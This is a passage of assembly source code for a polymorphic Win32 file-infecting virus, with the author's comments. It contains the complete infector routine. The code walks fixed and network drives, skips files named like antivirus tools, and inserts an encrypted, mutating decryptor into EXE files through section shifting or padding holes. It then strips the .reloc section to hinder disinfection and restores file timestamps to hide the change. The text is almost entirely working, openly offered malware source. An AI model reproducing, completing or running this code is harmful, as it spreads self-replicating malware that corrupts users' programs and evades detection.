mov [edi], eax
mov eax, [esi+3]
mov [edi+1], eax
add edi, 5
ret
Asm_MakeMemoryAddress endp
;;
;;
;; End of the assembler
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; KEYWORD: Key_!Infector
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; ********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The infector
;; ------------
;;
;; The infector is the part that brings this virus the category of "virus" :).
;; The infection made here is quite complex: there are three types of
;; supported modes, depending on the configuration of the executable:
;;
;; 1) Midinfection with section shifting
;;
;; The most difficult to make but also the most difficult to detect. It
;; can only be performed if there is a .reloc section in the executable.
;; We extend the end of the .text section and we shift down the sections
;; under this one. In this way, the decryptor/copier executes in the
;; .text section without overwriting code. The data being encrypted/moved
;; is stored at the beginning of the .data section: again, we shift the
;; sections down but this time extending the size of .data and all the
;; bytes stored here are shifted down.
;; To make this, all the offset references to points of the executable that
;; are going to be shifted down must be updated: we do that with the help
;; of the .reloc section.
;;
;; 2) Midinsertion of the decryptor, data at last section
;;
;; If we cannot make the first infection method we pass to this one. We
;; look for holes in the section padding (virtual or physical holes),
;; calculate the maximum size the decryptor can have there and we insert
;; it. The virus data will be stored at the end of the last section, but
;; without modifying the flags of the section (at least must be readable).
;; In fact, if the section is writable we don't infect that executable.
;;
;; 3) All data at last section
;;
;; If there aren't holes between sections or the padding isn't enough big
;; to hold a minimum fixed size, then we make a standard infection: we make
;; the last section bigger and put all the code there (the 29A technique).
;;
;; The infection mark will be the field of the CRC of the executable. If the
;; CRC is 0, the file is already infected. If not, the file is clean and we
;; set that field to 0 if we successfully infected the file. Since there are
;; lots of files with this field being 0, the detection can't rely on the
;; infection mark.
;;
;;
InfectFiles proc
xor eax, eax ; Set the directory deepness to 0
mov [ebp+DirectoryDeepness], eax
call InfectFiles2 ; First, the current directory
mov ebx, [ebp+FindFileData]
add ebx, 1000h
@@LoopGetDrives:
xor eax, eax ; Now set again this to 0
mov [ebp+DirectoryDeepness], eax
push eax ; Get the logical drives in this computer.
push ecx
push edx
mov eax, [ebp+FindFileData]
add eax, 1000h
push eax
mov eax, 200h
push eax
call dword ptr [ebp+RVA_GetLogicalDriveStringsA]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
or eax, eax ; If error, exit
jz @@Error2
push eax
push ecx
push edx
mov eax, ebx ; Get the type of drive. We only infect
push eax ; it if it's DRIVE_FIXED (3) or
call dword ptr [ebp+RVA_GetDriveTypeA] ; DRIVE_NETWORK (4)
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
cmp eax, 3 ; DRIVE_FIXED
jz @@InfectDrive
cmp eax, 4 ; DRIVE_NETWORK
jnz @@NextDrive
@@InfectDrive:
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, ebx
push eax ; Avoid a sequence of 4 pushes (just in case)
call dword ptr [ebp+RVA_SetCurrentDirectoryA]
mov [ebp+ReturnValue], eax
pop edx
pop ecx ; Set the current directory as the
pop eax ; drive string returned by the function
mov eax, [ebp+ReturnValue]
or eax, eax
jz @@Error2 ; If error, return
push ebx
call InfectFiles2 ; Infect the drive.
pop ebx
@@NextDrive:
@@LoopFindNull:
add ebx, 1 ; Get the next drive. If we reach to
mov eax, [ebx] ; a double NULL, then exit (end of
and eax, 0FFh ; drives string).
or eax, eax
jnz @@LoopFindNull
add ebx, 1
mov eax, [ebx]
and eax, 0FFh
or eax, eax
jnz @@LoopGetDrives ; Next drive
@@Error2:
ret
InfectFiles endp
;; This function is a separated one from above to allow recursivity. When we
;; infect a directory, we can get more directories in the file listing, so
;; we set that directory as the current and we call this function again (but
;; first increasing the directory deepness to avoid infecting all the drive
;; every execution).
InfectFiles2 proc
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, [ebp+FindFileData]
push eax
mov edx, [ebp+OtherBuffers]
push edx
mov eax, '*.*' ; Get all files
mov [edx], eax
call dword ptr [ebp+RVA_FindFirstFileA]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax ; APICALL_END
mov eax, [ebp+ReturnValue]
cmp eax, -1
jz @@Error
mov [ebp+hFindFile], eax
@@TouchAgain:
mov edx, [ebp+FindFileData] ; Get the attributes
mov eax, [edx]
and eax, 10h ; Check if it's a directory
or eax, eax
jz @@TryToInfectFile ; If it isn't, jump to try to infect
mov eax, [ebp+DirectoryDeepness]
cmp eax, 3 ; If we are too deep in recursivity
jz @@InfectNextFile ; just ignore the directory.
mov eax, [edx+2Ch]
and eax, 0FFFFFFh ; See if the directory name is ".."
cmp eax, '..'
jz @@InfectNextFile ; If it is, ignore it
and eax, 0FFFFh
cmp eax, '.' ; Is it "."?
jz @@InfectNextFile ; Then, ignore it
and eax, 01Fh
cmp eax, 'W' AND 1Fh ; Do the name begins with "W"?
jz @@InfectNextFile ; Then, ignore it. In this way we
; avoid infecting files in the Windows
; directory (and the action of the SFP
; noticing the user).
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, edx
add eax, 2Ch ; Set the directory as the current.
push eax
call dword ptr [ebp+RVA_SetCurrentDirectoryA]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
or eax, eax ; If we couldn't, find next file
jz @@InfectNextFile
mov eax, [ebp+DirectoryDeepness]
add eax, 1 ; Increase the directory recurs.
mov [ebp+DirectoryDeepness], eax
mov eax, [ebp+hFindFile] ; Save the FileFind handle
push eax
call InfectFiles2 ; Calling me from my guts!
pop eax
mov [ebp+hFindFile], eax ; Restore the FileFind handle
mov eax, [ebp+DirectoryDeepness]
sub eax, 1 ; Decrease the directory deepness
mov [ebp+DirectoryDeepness], eax
mov edx, [ebp+FindFileData]
mov eax, '..' ; Set as current the directory
mov [edx], eax ; above in the tree. Doing this
; we avoid to save everytime the name
push eax ; of the directory we came from.
push ecx
push edx
mov eax, edx
push eax ; Set ".." as the current directory
call dword ptr [ebp+RVA_SetCurrentDirectoryA]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
or eax, eax
jz @@Error2 ; If error, just finish the infection
jmp @@InfectNextFile ; If no error, continue
;; Here if we found a file
@@TryToInfectFile:
xor eax, eax
call RandomBoolean_X000_3
;call RandomBoolean ; WEIGHT_X000
or eax, eax
jz @@InfectNextFile ; Infect only the 50% of the files
; but based on our genetic algorithm. By evolution,
; only the more spreaded or the more stealthy will
; "survive".
mov edx, [ebp+FindFileData]
add edx, 2Ch ; EDX = offset to the file name
;; Uncomment this for debugging the virus. With this code the virus will only
;; infect files starting with "goat"
; mov eax, [edx]
; and eax, 1F1F1F1Fh
; cmp eax, 'taog' AND 1F1F1F1Fh
; jnz @@InfectNextFile
mov eax, [edx] ; Get the two first letters
and eax, 1F1Fh
cmp eax, '-F' AND 1F1Fh ; Check for F-PROT
jz @@InfectNextFile ; If it is, avoid the infection
cmp eax, 'AP' AND 1F1Fh ; Check for PANDA
jz @@InfectNextFile
cmp eax, 'CS' AND 1F1Fh ; Check for SCAN*, SCN*, etc.
jz @@InfectNextFile
cmp eax, 'RD' AND 1F1Fh ; Check for DRWEB
jz @@InfectNextFile
cmp eax, 'ON' AND 1F1Fh ; Check for NOD-ICE, NORTON, etc.
jz @@InfectNextFile
mov ebx, edx
@@LoopFindExtension:
mov eax, [ebx] ; Avoid files with a "V" in the name.
and eax, 01Fh ; With that we avoid AVP, NAV, and lots
cmp eax, 'V' AND 1Fh ; of antivirus.
jz @@InfectNextFile
or eax, eax
jz @@CheckExtension
add ebx, 1
jmp @@LoopFindExtension
@@CheckExtension:
mov eax, [ebx-4] ; Finally, is it an EXE file?
and eax, 1F1F1FFFh
cmp eax, 'EXE.' AND 1F1F1FFFh
jnz @@InfectNextFile ; If not, don't infect!
@@InfectFile:
call TouchFile ; Infect the file with our brand recently
@@InfectNextFile: ; reassembled code.
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, [ebp+FindFileData]
push eax
mov eax, [ebp+hFindFile]
push eax
call dword ptr [ebp+RVA_FindNextFileA]
mov [ebp+ReturnValue], eax ; Find the next file/dir of
pop edx ; the directory
pop ecx
pop eax ; APICALL_END
mov eax, [ebp+ReturnValue] ; If error, finish
or eax, eax
jnz @@TouchAgain
@@Error2:
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, [ebp+hFindFile] ; Close the FindFile handle
push eax
call dword ptr [ebp+RVA_FindClose]
pop edx
pop ecx
pop eax ; APICALL_END
@@Error:
ret
InfectFiles2 endp
;; This function infects the file. It saves the original attributes, clears
;; them (removing any read-only setting), opens a mapping of the file and
;; performs all the operations. After that, it uses the info in the FindFile
;; data to restore the original date/time, restores the attributes and exits.
TouchFile proc
mov [ebp+Addr_FilePath], edx ; Save the file path address
push eax
push ecx
push edx ; APICALL_BEGIN
push edx
call dword ptr [ebp+RVA_GetFileAttributesA]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax ; APICALL_END
mov eax, [ebp+ReturnValue] ; If there was an error getting
cmp eax, -1 ; the attributes just exit
jz @@Error_
mov [ebp+FileAttributes], eax ; Save the attributes
push eax
push ecx
push edx ; APICALL_BEGIN
push 80h
mov eax, [ebp+Addr_FilePath] ; Set normal file attributes
push eax
call dword ptr [ebp+RVA_SetFileAttributesA]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax ; APICALL_END
mov eax, [ebp+ReturnValue]
or eax, eax
jz @@Error_ ; If error, finish
push eax
push ecx
push edx ; APICALL_BEGIN
push 0
push 0
push 3 ; OPEN_EXISTING
push 0
push 0
push 0C0000000h ; Generic read & write
push edx
call dword ptr [ebp+RVA_CreateFileA] ; Open the file
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax ; APICALL_END
mov eax, [ebp+ReturnValue]
cmp eax, -1 ; If error, finish
jz @@Error
mov [ebp+hFile], eax
push eax
push ecx
push edx ; APICALL_BEGIN
push 0
push eax
call dword ptr [ebp+RVA_GetFileSize]
mov [ebp+ReturnValue], eax
pop edx ; Get the current file size.
pop ecx
pop eax ; APICALL_END
mov eax, [ebp+ReturnValue]
or eax, eax
jz @@Error2 ; If error, finish
mov [ebp+FileSize], eax ; Set the tracking size
mov [ebp+OriginalFileSize], eax ; Set the original size
push eax
push ecx
push edx ; APICALL_BEGIN
push 0
add eax, [ebp+RoundedSizeOfNewCode]
add eax, 1000h ; Maximum size of decryptor
push eax
push 0
push 4 ; PAGE_READWRITE
push 0
mov eax, [ebp+hFile] ; Create a file mapping with a
push eax ; size of original file's size +
call dword ptr [ebp+RVA_CreateFileMappingA] ; + the new size
mov [ebp+ReturnValue], eax ; of the virus + the maximum
pop edx ; size we use for a decryptor
pop ecx
pop eax ; APICALL_END
mov eax, [ebp+ReturnValue]
or eax, eax
jz @@Error2 ; If error, just finish
mov [ebp+hMapping], eax
push eax
push ecx
push edx ; APICALL_BEGIN
push 0
push 0
push 0
push 0F001Fh
push eax
call dword ptr [ebp+RVA_MapViewOfFile]
mov [ebp+ReturnValue], eax
pop edx ; Map a view of the file mapping
pop ecx
pop eax ; APICALL_END
mov eax, [ebp+ReturnValue]
or eax, eax
jz @@Error3 ; If error, exit
mov dword ptr [ebp+MappingAddress], eax ; Set the address
; Needed variables:
; [MappingAddress] = Mapping address of file. The mapping
; must have the size of the two holes already increased.
; Return:
; EAX = 0 if everything is OK,
; [HeaderAddress] = PE header address
; [Phys_TextHole] = Physical address of hole in code section
; [RVA_TextHole] = Virtual address of hole in code section
; [Phys_DataHole] = Physical address of hole in data section
; [RVA_DataHole] = Virtual Address of hole in data section
; [ExitProcessAddress] != 0 if ExitProcess was found and
; patched to point to the zone the decryptor is going to be.
; EAX != 0 if something failed
xor eax, eax ; Initialize the Undo buffer (for
mov [ebp+NumberOfUndoActions], eax ; undo the changes to
; the file if we had an error)
call PrepareFile ; Make the holes
or eax, eax ; Error?
jnz @@Error4 ; EAX != 0 if error, so exit
mov ebx, [ebp+MappingAddress] ; Get the physical address
add ebx, [ebp+Phys_TextHole] ; in the mapping where the
; decryptor must be.
;;;;;;
; Now we create the decryptor and we copy the code, which will be unencrypted
; once in every 16 infections
;;;;;;
mov ecx, [ebp+MaxSizeOfDecryptor] ; Get the maximum size
cmp ecx, 400h ; we can have for the decryptor
jbe @@SetSizeOfExpansionTo0 ; If it's 400h, set a size of
mov eax, 1 ; expansion to the Expander of
call RandomBoolean_X000_3 ; 0 (three recursivity levels).
or eax, eax
jz @@SetSizeOfExpansionTo0 ; Also we can select randomly
; that level instead of a deeper
; one (genetically!)
mov eax, -1 ; Set the initial level to -1
jmp @@SetSizeOfExpansion ; (four levels of recursivity).
@@SetSizeOfExpansionTo0:
mov eax, 2
call RandomBoolean_X000_3 ; Get a random TRUE or FALSE
; depending on previous
; generations values.
or eax, eax ; If FALSE, set only two levels
jz @@SetSizeOfExpansionTo1 ; of recursivity (set the initial
xor eax, eax ; level to 1)
jmp @@SetSizeOfExpansion
@@SetSizeOfExpansionTo1:
mov eax, 1
@@SetSizeOfExpansion:
mov [ebp+SizeOfExpansion], eax ; Set -1, 0 or 1 (depending
; on all the conditions above)
@@CheckWithOtherSizeOfExpansion:
mov ecx, 3 ; Set the number of times we'll try
; to get a decryptor with a size that
; fits into the maximum size set.
@@GenerateOther:
push ecx ; Save the count
mov edi, [ebp+DecryptorPseudoCode] ; Get the storage addr.
mov eax, [ebp+VirtualAllocAddress] ; Save this address
push eax
call MakeDecryptor ; Make a decryptor for this infection
pop eax ; Restore this address
mov [ebp+VirtualAllocAddress], eax
pop ecx ; Decrease the number of times we
sub ecx, 1 ; can repeat the decryptor generation
mov eax, [ebp+SizeOfDecryptor] ; Check the size of the
cmp eax, [ebp+MaxSizeOfDecryptor] ; new decryptor.
jbe @@SizeOfDecryptorOK ; If it fits, jump
or ecx, ecx ; ECX = 0?
jnz @@GenerateOther ; If not, generate other
mov eax, [ebp+SizeOfExpansion] ; Check if the size of
cmp eax, 2 ; expansion is already the minimum.
jz @@InsertExitProcess ; If it is, insert directly a call
; to ExitProcess (to make the host run without problems).
add eax, 1 ; If not, decrease the recursivity
mov [ebp+SizeOfExpansion], eax ; the expander can make and
jmp @@CheckWithOtherSizeOfExpansion ; try again.
; Here we insert a call to ExitProcess if we couldn't generate a decryptor
; following our specifications.
@@InsertExitProcess:
mov edi, [ebp+Phys_TextHole] ; Get the address for
add edi, [ebp+MappingAddress] ; code insertion
mov eax, 6Ah
mov [edi], eax ; Insert "PUSH 0"
add edi, 2
; xor eax, eax
; mov [edi], eax
; add edi, 1
mov eax, 15FFh ; Insert "CALL ExitProcess"
mov [edi], eax
add edi, 2
mov eax, [ebp+ExitProcessAddress]
mov [edi], eax
jmp @@Exit
@@SizeOfDecryptorOK: ; Now let's copy the decryptor in the
mov esi, [ebp+AssembledDecryptor] ; hole we made for it.
mov edi, [ebp+Phys_TextHole]
add edi, [ebp+MappingAddress]
mov ecx, [ebp+SizeOfDecryptor]
@@LoopCopyDecryptor:
mov eax, [esi] ; Copy the assembled decryptor
mov [edi], eax
add esi, 1
add edi, 1
dec ecx
or ecx, ecx
jnz @@LoopCopyDecryptor
mov edx, 10h ; Maximum number of times we can
; repeat the following:
mov esi, [ebp+MaxSizeOfDecryptor]
sub esi, [ebp+SizeOfDecryptor]
and esi, 0FFFFFFFCh ; Get the remaining size of the
or esi, esi ; decryptor aligned to DWORDs.
jz @@ContinueWithTheRest ; If 0, don't make this thing
@@CheckAgainThePossibility:
call Random ; Get a random number between 0 and 252
and eax, 0FCh
or eax, eax ; If 0, repeat
jz @@CheckAgainThePossibility
sub edx, 1 ; Decrease the number of times we can do
; this again.
cmp eax, esi ; If the random number is below the
jb @@FillRandomBytes ; remaining size, go to fill some.
or edx, edx ; If don't, and we can make it more
jnz @@CheckAgainThePossibility ; times, get another random
jmp @@ContinueWithTheRest ; number.
@@FillRandomBytes:
mov ecx, eax ; ECX = Number of random bytes to insert
@@LoopFillRandomBytes:
call Random
mov [edi], eax ; Insert a random DWORD
add edi, 4
sub ecx, 4
or ecx, ecx ; Fill it with the random quantity we got
jnz @@LoopFillRandomBytes ; before
@@ContinueWithTheRest:
mov edi, [ebp+MappingAddress] ; Get the physical address
add edi, [ebp+Phys_DataHole] ; of the data hole
cmp edi, [ebp+MappingAddress] ; If it's 0, exit
jz @@Exit
mov edx, [ebp+TypeOfEncryption] ; Get the encryption
mov ebx, [ebp+EncryptionKey] ; operation and the
mov esi, [ebp+NewAssembledCode] ; address of the new
mov ecx, [ebp+SizeOfNewCode] ; mutated code
and ecx, 0FFFFFFFCh
add ecx, 4 ; Round it
@@LoopEncryptCode:
mov eax, [esi]
or ebx, ebx ; Copy the code and encrypt it
jz @@NoEncryption ; on the fly
or edx, edx
jz @@ADDKey
cmp edx, 1
jz @@SUBKey
@@XORKey:
xor eax, ebx
jmp @@StoreDWORD
@@ADDKey:
add eax, ebx
jmp @@StoreDWORD
@@SUBKey:
sub eax, ebx
@@NoEncryption:
@@StoreDWORD:
mov [edi], eax ; Store the encrypted (or not)
add esi, 4 ; DWORDs
add edi, 4
sub ecx, 4
or ecx, ecx
jnz @@LoopEncryptCode
xor eax, eax
mov [edi], eax ; Set a 0 at the end
@@Exit: mov ebx, [ebp+HeaderAddress]
xor eax, eax
mov [ebx+58h], eax ; Set the infection mark (the CRC of
; the executable to 0)
xor edi, edi ; Set "NO_ERROR" flag
jmp @@NoError
;; If the file is already infected or the headers doesn't meet the
;; required characteristics, we jump here.
@@Error4: call UndoChanges ; Undo the changes to the file
mov edi, 1 ; Set "ERROR" flag
@@NoError: push eax ; Close the file mapping
push ecx
push edx ; APICALL_BEGIN
mov eax, [ebp+MappingAddress]
push eax
call dword ptr [ebp+RVA_UnmapViewOfFile]
pop edx
pop ecx
pop eax ; APICALL_END
jmp @@NoError3
;; We jump here if we failed while mapping a view of the file in memory
@@Error3: mov edi, 1 ; Set "ERROR" flag
@@NoError3:
push eax ; Close the handle of the file mapping
push ecx
push edx ; APICALL_BEGIN
mov eax, [ebp+hMapping]
push eax
call dword ptr [ebp+RVA_CloseHandle]
pop edx
pop ecx
pop eax ; APICALL_END
jmp @@NoError2
;; Jump here if we failed while creating a file mapping object
@@Error2: mov edi, 1 ; Set "ERROR" flag
@@NoError2:
push eax ; Let's truncate the file: we set it
push ecx ; to the original size again if we
push edx ; failed to infect
xor eax, eax
push eax ; push 0
push eax ; push 0
or edi, edi
jnz @@ThereWasAnError
mov eax, [ebp+FileSize]
jmp @@FixSize
@@ThereWasAnError:
mov eax, [ebp+OriginalFileSize]
@@FixSize: push eax
mov eax, [ebp+hFile]
push eax
call dword ptr [ebp+RVA_SetFilePointer]
pop edx
pop ecx
pop eax ; APICALL_END
push eax ; Truncate the file
push ecx
push edx ; APICALL_BEGIN
mov eax, [ebp+hFile]
push eax
call dword ptr [ebp+RVA_SetEndOfFile]
pop edx
pop ecx
pop eax ; APICALL_END
@@DontFixSize:
push eax ; Restore the original file time from
push ecx ; the data stored at the FindFile struct
push edx ; APICALL_BEGIN
mov eax, [ebp+FindFileData]
add eax, 14h
push eax
sub eax, 8
push eax
sub eax, 8
push eax
mov eax, [ebp+hFile]
push eax
call dword ptr [ebp+RVA_SetFileTime]
pop edx
pop ecx
pop eax ; APICALL_END
push eax ; Close the file handle
push ecx
push edx ; APICALL_BEGIN
mov eax, [ebp+hFile]
push eax
call dword ptr [ebp+RVA_CloseHandle]
pop edx
pop ecx
pop eax ; APICALL_END
@@Error: push eax ; Restore the file attributes
push ecx
push edx ; APICALL_BEGIN
mov eax, [ebp+FileAttributes]
push eax
mov eax, [ebp+Addr_FilePath]
push eax
call dword ptr [ebp+RVA_SetFileAttributesA]
pop edx
pop ecx
pop eax ; APICALL_END
@@Error_: ret
TouchFile endp
;;; This is the main function to make holes. This function is capable of
;;; support two types of holes, being the first situated at .text or CODE
;;; section. The code can be easily modified to situate the holes at the end
;;; of other sections, but the current action is more stealthy. After this,
;;; if we remove .reloc section from the executable, we can't know how the
;;; host was before, so disinfection is nearly impossible.
PrepareFile proc
mov eax, [ebp+MappingAddress]
mov ebx, [eax]
and ebx, 0FFFFh
cmp ebx, 0+'ZM' ; Get the header. If the standard
jnz @@Error ; win32 executable marks don't
mov ebx, [eax+18h] ; exist ("MZ" and "PE") we finish
and ebx, 0FFh ; with error (of course)
cmp ebx, 40h
jnz @@Error
mov ebx, [eax+3Ch]
add ebx, eax
mov ecx, [ebx]
cmp ecx, 0+'EP'
jnz @@Error
mov [ebp+HeaderAddress], ebx
mov ecx, [ebx+58h] ; Get the file checksum at the
or ecx, ecx ; header. if it's 0, it's already
jz @@Error ; infected.
mov ecx, [ebx+4] ; Get the type of executable
and ecx, 0FFFFh
cmp ecx, 014Ch ; x86?
jz @@IA32 ; If so, jump to IA-32 infection
;; PE32+ for IA64 ; Reserved for future release (v2)
jmp @@Error ; Exit and finish
; You can think: what's the point of making this check? The reason is that
; nowadays is more easy to find a server or a home PC with a FTP or HTTP
; server with files to get, and there are many of them that are for other
; types of processors, so better if we check the processor type. And, in the
; future, we'll have new processors like IA-64 (Itanium) and maybe others.
;; PE32 for x86
@@IA32: mov ecx, [ebx+6] ; Get the number of sections in the
and ecx, 0FFFFh ; executable.
; ECX = Number of sections
mov edx, [ebx+14h] ; Get the start address of the
and edx, 0FFFFh ; sections.
add edx, 18h
add edx, ebx
mov [ebp+StartOfSectionHeaders], edx
xor eax, eax ; Initialize the interesting
mov [ebp+RelocHeader], eax ; sections addresses.
mov [ebp+TextHeader], eax
mov [ebp+DataHeader], eax
@@LoopSections:
mov eax, [edx] ; Get the name of the section in the
mov esi, [edx+4] ; pair EAX-ESI
cmp eax, 'ler.' ; Is the name ".reloc"?
jnz @@LookForCode
cmp esi, 0+'co'
jnz @@NextSection
mov [ebp+RelocHeader], edx ; Then, set the address
jmp @@NextSection
@@LookForCode:
cmp eax, 'xet.' ; Is the name ".text"?
jnz @@LookForCode2
cmp esi, 0+'t'
jnz @@NextSection
mov [ebp+TextHeader], edx ; Then, set the address of the
jmp @@NextSection ; code header
@@LookForCode2:
cmp eax, 'EDOC' ; Is the name "CODE"?
jnz @@LookForData
or esi, esi
jnz @@NextSection
mov [ebp+TextHeader], edx ; Then set the address of the
jmp @@NextSection ; code header
@@LookForData:
cmp eax, 'tad.' ; Is the name ".data"?
jnz @@LookForData2
cmp esi, 0+'a'
jnz @@NextSection
mov [ebp+DataHeader], edx ; Then set the address of the
jmp @@NextSection ; data header
@@LookForData2:
cmp eax, 'ATAD' ; Is the name "DATA"?
jnz @@LookForData3
or esi, esi
jnz @@NextSection
mov [ebp+DataHeader], edx ; Then set the address of the
jmp @@NextSection ; data header
@@LookForData3:
@@NextSection:
mov [ebp+LastHeader], edx ; Set the last header
add edx, 28h ; Next header
dec ecx ; If it wasn't the last one,
or ecx, ecx ; continue checking
jnz @@LoopSections
xor eax, eax ; Initialize the addresses that
mov [ebp+ExitProcessAddress], eax ; we need for making
mov [ebp+VirtualAllocAddress], eax ; a correct infection
mov [ebp+GetProcAddressAddress], eax
mov [ebp+GetModuleHandleAddress], eax
mov eax, [ebp+TextHeader] ; If we haven't retrieved a
or eax, eax ; code or data section, we
jz @@Error ; exit with error
mov eax, [ebp+DataHeader]
or eax, eax
jz @@Error
mov eax, [ebp+RelocHeader] ; IF we have .reloc section,
or eax, eax ; we'll make section shifting.
jz @@NoRelocs ; If not, try another alternative method.
mov eax, 3
call RandomBoolean_X000_3
or eax, eax ; Although there is .reloc section, don't
jz @@NoRelocs2 ; make that infection always. Doing this,
; we have a not fixed way of infecting.
; Moreover, it's selected by our genetic algorithm,
; which makes that if it's not viable (i.e. it's
; more detected) the probability is lower.
;; Now we are going to make section shifting. We use the relocation section
;; to update all the pointers that point to data that is going to be shifted
;; down,
mov eax, [ebp+RelocHeader]
cmp eax, [ebp+LastHeader]
jnz @@Error ; Avoid .reloc section in the middle
;; Everything is OK to start!
mov eax, 1 ; Mark that we are doing the hole
mov [ebp+MakingFirstHole], eax ; at the code section
mov esi, [ebp+TextHeader]
mov ecx, 1000h ; Maximum size of decryptor
call UpdateHeaders ; Make the hole.
; Returns:
; ECX = Unchanged
; EAX = Physical offset of created hole, or NULL if error
; EDI = RVA of hole
mov [ebp+RVA_TextHole], edi
mov [ebp+Phys_TextHole], eax
mov [ebp+TextHoleSize], ecx
mov eax, [ebp+ExitProcessAddress]
or eax, eax ; If ExitProcess is not imported by the
jz @@Error ; host, finish (undoing the changes)
; mov eax, [ebp+VirtualAllocAddress]
; or eax, eax
; jz @@Error
mov eax, [ebp+GetProcAddressAddress]
or eax, eax ; Check the import of the GetProcAddress.
jz @@Error ; If it's not imported, error
mov eax, [ebp+GetModuleHandleAddress]
or eax, eax ; If the host doesn't import GetModuleHandle,
jz @@Error ; finish with error
mov ebx, [ebp+HeaderAddress]
add [ebx+1Ch], ecx ; Add the size of the hole to
; the size of code in the exec.
; header
add [ebp+FileSize], ecx ; Add it to the track size too.
xor eax, eax ; Set that we are making
mov [ebp+MakingFirstHole], eax ; the second hole.
mov esi, [ebp+DataHeader]
mov ecx, [ebp+RoundedSizeOfNewCode]
call UpdateHeaders ; Make the data hole
mov [ebp+RVA_DataHole], edi ; Set the physical and
mov [ebp+Phys_DataHole], eax ; virtual addresses.
mov ebx, [ebp+HeaderAddress] ; Now we are going to update
; the addresses of the
mov eax, [ebp+ExitProcessAddress] ; functions. We don't
add eax, [ebx+34h] ; need to check that
mov [ebp+ExitProcessAddress], eax ; they have a value
; because we know that they
mov eax, [ebp+GetProcAddressAddress] ; have it. If not,
add eax, [ebx+34h] ; we had exited when
mov [ebp+GetProcAddressAddress], eax ; making the first
; hole (the code hole)
mov eax, [ebp+GetModuleHandleAddress]
add eax, [ebx+34h]
mov [ebp+GetModuleHandleAddress], eax
mov eax, [ebp+VirtualAllocAddress]
or eax, eax ; If we have VirtualAlloc
jz @@DontAddBaseAddress ; available, update it also
add eax, [ebp+34h]
mov [ebp+VirtualAllocAddress], eax
@@DontAddBaseAddress:
add [ebx+20h], ecx ; Increase the virtual size
add [ebp+FileSize], ecx ; of the data in the file and
; the file size itself
mov esi, [ebp+RelocHeader]
mov eax, [esi+0Ch]
mov [ebx+50h], eax ; Set the new image size of
; the executable.
mov edi, [esi+14h]
mov ecx, [ebp+FileSize] ; Now set the physical size of
sub ecx, edi ; the file in the FileSize var,
mov [ebp+FileSize], edi ; so when closing the file
; mapping we'll set the new
; physical size (i.e. eliminate
; the .reloc section).
add edi, [ebp+MappingAddress]
xor eax, eax ; Fill with 0s the .reloc
@@Loop0: mov [edi], eax ; section
add edi, 4
sub ecx, 4
or ecx, ecx
jnz @@Loop0
mov ecx, 28h ; Now eliminate the .reloc header in
@@Loop1: mov [esi], eax ; the PE header
add esi, 4
sub ecx, 4
or ecx, ecx
jnz @@Loop1
mov [ebx+0A0h], eax ; Eliminate the relocation entry in
mov [ebx+0A4h], eax ; the list of directories
mov eax, [ebx+06h] ; Decrease the number of sections
sub eax, 1
mov [ebx+06h], eax
mov eax, [ebx+16h] ; Set that the reloc info has been
or eax, 1 ; stripped from the file
mov [ebx+16h], eax
mov eax, 1000h ; Set the maximum size of the decryptor
mov [ebp+MaxSizeOfDecryptor], eax ; to 1000h (the maximum
; size we use for it)
xor eax, eax ; Set "ALL OK" on returning
ret
@@Error:
mov eax, 1 ; Set "ERROR"!
ret
;; This code is reached when the .reloc section exists, but we want to make
;; an infection as if there isn't a .reloc section. In this way the behaviour
;; of the infection method is not fixed.
@@NoRelocs2:
xor eax, eax ; Set the .reloc address to 0 as if
mov [ebp+RelocHeader], eax ; there wasn't .reloc section
@@NoRelocs:
xor ecx, ecx ; Retrieve the required function
mov edx, -1 ; addresses.
call UpdateImports
mov ecx, [ebp+HeaderAddress] ; Check every function
mov eax, [ebp+ExitProcessAddress] ; address (and exit with
or eax, eax ; error if they couldn't
jz @@Error ; be retrieved) and get
add eax, [ecx+34h] ; the final virtual addr.
mov [ebp+ExitProcessAddress], eax ; of every one, adding
; the image base.
mov eax, [ebp+GetProcAddressAddress]
or eax, eax
jz @@Error
add eax, [ecx+34h]
mov [ebp+GetProcAddressAddress], eax
mov eax, [ebp+GetModuleHandleAddress]
or eax, eax
jz @@Error
add eax, [ecx+34h]
mov [ebp+GetModuleHandleAddress], eax
mov eax, [ebp+VirtualAllocAddress] ; If we haven't
or eax, eax ; VirtualAlloc, we don't
jz @@NoVirtualAlloc ; exit with error, but
add eax, [ecx+34h] ; then we have to
mov [ebp+VirtualAllocAddress], eax ; retrieve it in
@@NoVirtualAlloc: ; runtime in the decryptor.
;; Pseudo-code of the algorithm we use to get a virtual hole in .text where
;; we can put the decryptor:
;;
;; If(PhysicalSize > VirtualSize)
;; Phys_TextHoleAddr = VirtualSize;
;; Virt_TextHoleAddr = VirtualSize;
;; TextHoleSize = PhysicalSize - VirtualSize;
;; If((TextHoleSize + VirtualSize) > NextVirtualAddress)
;; Exit;
;; VirtualSize += TextHoleSize;
;; /* The hole is already made physically */
;; If(PhysicalSize <= VirtualSize)
;; Phys_TextHoleAddr = PhysicalSize;
;; Virt_TextHoleAddr = PhysicalSize;
;; TextHoleSize = VirtualSize - PhysicalSize;
;; If(TextHoleSize < MIN_SIZE)
;; Exit;
;; If(TextHoleSize > MAX_SIZE)
;; TextHoleSize = MAX_SIZE;
;; PhysicalSize += TextHoleSize;
